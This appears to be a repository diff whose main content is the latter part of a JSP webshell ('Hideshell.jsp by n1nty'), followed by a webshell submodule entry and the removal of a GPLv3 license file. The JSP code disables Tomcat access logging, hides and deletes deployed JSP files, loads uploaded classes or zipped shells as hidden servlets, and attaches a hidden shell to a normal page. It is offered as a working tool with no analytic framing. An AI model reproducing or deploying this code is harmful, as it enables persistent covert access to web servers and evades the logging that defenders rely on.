if (tF.isAbsolute()) {
fileName = tF.getName();
} else {
fileName = s;
}
k = s.lastIndexOf(".");
// suffix = s.substring(k + 1);
upload();
}
}
}
private void upload() throws IOException{
try {
OutputStream out = this.targetOutput;
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!=-1) {
s = new String(b, 0, a);
if ((k = s.indexOf("Content-Type:"))!=-1) {
break;
}
}
sis.readLine(b,0,b.length);
while ((a = sis.readLine(b,0,b.length)) != -1) {
s = new String(b, 0, a);
if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
break;
}
out.write(b, 0, a);
}
out.close();
//if (out instanceof FileOutputStream)
//out.close();
} catch (IOException ioe) {
throw ioe;
}
}
}
private static final Map<String, JspServletWrapper> hiddenWrappers = new HashMap<String, JspServletWrapper>();
public static String makeWrapperUri(HttpServletRequest request) {
String uri = request.getServletPath();
String pathinfo = request.getPathInfo();
if (pathinfo != null) {
uri += pathinfo;
}
return uri;
}
public static boolean accessingSelf(HttpServletRequest request, JspRuntimeContext jctxt) {
JspServletWrapper wrapper = getHideShellWrapper(request, jctxt);
String requestUri = makeWrapperUri(request);
if (!wrapper.getJspUri().equals(requestUri)) {
return false;
}
return true;
}
public static void includeHiddenShell(HttpServletRequest request, HttpServletResponse response) throws Exception {
JspServletWrapper wrapper = hiddenWrappers.get(makeWrapperUri(request));
if (wrapper != null) {
wrapper.service(request, response, false);
} else {
response.sendError(404, "the hidden JspServletWrapper doesn't exist, this should not happen");
}
}
public static JspServletWrapper getHideShellWrapper(HttpServletRequest request, JspRuntimeContext jctxt) {
String wrapperUri = makeWrapperUri(request);
JspServletWrapper self = jctxt.getWrapper(wrapperUri);
return self;
}
public static void hideWrapper(JspServletWrapper wrapper) throws Exception {
wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
JspCompilationContext ctxt = wrapper.getJspEngineContext();
EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
setFieldValue(jspServletOptions, "modificationTestInterval", 1);
}
}
public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception {
Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes);
m.setAccessible(true);
return m.invoke(obj, args);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
return f.get(obj);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
if (Modifier.isFinal(f.getModifiers())) {
//reset final field
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
}
f.set(obj, value);
}
public static String makeHiddenName(String wrapperName) {
int lastIndex = wrapperName.lastIndexOf('/');
return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1);
}
public static boolean isHiddenJsp(ServletRequest request, String key, JspServletWrapper wrapper) {
JspCompilationContext ctxt = wrapper.getJspEngineContext();
if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists() || !key.equals(wrapper.getJspUri())) {
return true;
}
return false;
}
public static void nolog(HttpServletRequest request) throws Exception {
ServletContext ctx = request.getSession().getServletContext();
ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context");
StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context");
StandardHost host = (StandardHost)standardCtx.getParent();
AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog();
AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs");
for(AccessLog log:logs) {
AccessLogValve logV = (AccessLogValve)log;
String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition();
logV.setCondition(condition);
request.setAttribute(condition, "n1nty_nolog");
}
}
%><%
nolog(request);
Object r = getFieldValue(request, "request");
Object filterChain = getFieldValue(r, "filterChain");
Object servlet = getFieldValue(filterChain, "servlet");
JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt");
if (!accessingSelf(request, jctxt)) {
includeHiddenShell(request, response);
return;
}
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Hideshell.jsp by n1nty</title>
</head>
<body>
<ul>
<%
String action = request.getParameter("action");
if ("upload".equals(action)) {
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
UploadBean upload = new UploadBean(byteout);
upload.parseRequest(request);
boolean zip = upload.getFileName().endsWith(".zip");
String path = !zip ? "/test.jsp" : "/jspspy2010.jsp";
String clsName = !zip ? "org.apache.jsp.test_jsp" : "org.apache.jsp.jspspy2010_jsp";
javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config");
org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options");
JspServletWrapper wrapper = new JspServletWrapper(servletConfig, options, path, jctxt);
hideWrapper(wrapper);
wrapper.setReload(false);
byte[] data = byteout.toByteArray();
byte[] bytes = new byte[data.length -2];
System.arraycopy(data, 0, bytes, 0, data.length -2);
Class cls = null;
if (zip) {
cls = new SpyClassLoader(this.getClass().getClassLoader(), bytes, out).loadClass(clsName);
} else {
cls = new SpyClassLoader(this.getClass().getClassLoader(), null, out).defineClass(clsName, bytes);
}
if (cls != null) {
Servlet s = (Servlet)cls.newInstance();
s.init(servletConfig);
setFieldValue(wrapper, "theServlet", s);
jctxt.addWrapper(path, getHideShellWrapper(request, jctxt));
hiddenWrappers.put(path, wrapper);
} else {
out.println("no class");
}
}
if (action == null || action.equals("list") || action.equals("upload")) {
Map<String, JspServletWrapper> jsps = (Map<String, JspServletWrapper>)getFieldValue(jctxt, "jsps");
for (Map.Entry<String, JspServletWrapper> entry : jsps.entrySet()) {
JspServletWrapper wrapper = entry.getValue();
%>
<li>
<%
if (isHiddenJsp(request, entry.getKey(), wrapper)) {
%>
<a href='<%=entry.getKey() %>'> <%=entry.getKey() %></a> possible hidden file, <a href='?action=delete&wrapperName=<%=entry.getKey() %>'> Delete </a>
<a href='?action=attach&wrapperName=<%=entry.getKey() %>'> Attach to normal.jsp</a>
<%
} else {
%>
<a href='?action=hide&wrapperName=<%=entry.getKey() %>'>Hide <%=entry.getKey() %></a>
<a href='?action=attach&wrapperName=<%=entry.getKey() %>'> Attach to normal.jsp</a>
<%
}
%>
</li>
<%
}
} else if (action.equals("hide")) {
String wrapperName = request.getParameter("wrapperName");
String hiddenWrapperName = makeHiddenName(wrapperName);
if (jctxt.getWrapper(hiddenWrapperName) == null) {
JspServletWrapper wrapper = jctxt.getWrapper(wrapperName);
hideWrapper(wrapper);
/*
wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
JspCompilationContext ctxt = wrapper.getJspEngineContext();
EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
setFieldValue(jspServletOptions, "modificationTestInterval", 1);
}*/
wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles();
if (wrapper == getHideShellWrapper(request, jctxt)) {
// is hiding hideshell.jsp itself
setFieldValue(wrapper, "jspUri", hiddenWrapperName);
jctxt.addWrapper(hiddenWrapperName, wrapper);
} else {
jctxt.addWrapper(hiddenWrapperName, getHideShellWrapper(request, jctxt));
hiddenWrappers.put(hiddenWrapperName, wrapper);
}
jctxt.removeWrapper(wrapperName);
JspCompilationContext ctxt = wrapper.getJspEngineContext();
new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete();
}
out.println("done");
} else if (action.equals("delete")) {
String wrapperName = request.getParameter("wrapperName");
jctxt.removeWrapper(wrapperName);
hiddenWrappers.remove(wrapperName);
out.println("done");
} else if (action.equals("attach")) {
String wrapperName = request.getParameter("wrapperName");
String attachto = "/normal.jsp";
JspServletWrapper original = jctxt.getWrapper(attachto);
if (original == null) {
out.println("access /normal.jsp first");
return;
}
JspServletWrapper evil = jctxt.getWrapper(wrapperName);
javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config");
org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options");
AttachingWrapper attachingWrapper = new AttachingWrapper(original, evil, servletConfig, options, attachto, jctxt);
hideWrapper(attachingWrapper);
attachingWrapper.setReload(false);
hideWrapper(evil);
jctxt.removeWrapper(wrapperName);
jctxt.removeWrapper(attachto);
jctxt.addWrapper(attachto, attachingWrapper);
JspCompilationContext ctxt = evil.getJspEngineContext();
new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete();
// jctxt.addWrapper(attachto, getHideShellWrapper(request, jctxt));
// hiddenWrappers.put(attachto, attachingWrapper);
}
%>
</ul>
<form action="?action=upload" method="post" enctype="multipart/form-data">
<input type="file" name="fff">
<input type="submit">
</form>
</body>
</html>

1
lhlsec/webshell Submodule

Submodule lhlsec/webshell added at 4669c5f8e3

674
license
View File

@@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
